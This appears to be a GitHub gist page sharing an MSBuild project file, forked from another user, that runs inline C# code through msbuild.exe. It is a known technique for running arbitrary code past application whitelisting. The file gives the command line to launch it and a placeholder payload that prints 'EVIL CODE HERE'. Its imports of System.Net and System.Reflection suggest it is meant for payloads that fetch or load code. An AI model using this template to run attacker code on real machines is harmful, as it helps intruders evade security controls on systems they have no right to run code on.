Skip to content

Instantly share code, notes, and snippets.

@ahhh
Forked from Arno0x/msbuild.xml
Created December 26, 2017 17:09
Show Gist options
  • Save ahhh/dd2f80f5f46674b86e6ca57cdba2dcc9 to your computer and use it in GitHub Desktop.
Save ahhh/dd2f80f5f46674b86e6ca57cdba2dcc9 to your computer and use it in GitHub Desktop.
MSBuild project definition to execute arbitrary code from msbuild.exe
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Net" />
<Using Namespace="System.Reflection" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine(" EVIL CODE HERE ! :-) ");
]]>
</Code>
</Task>
</UsingTask>
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment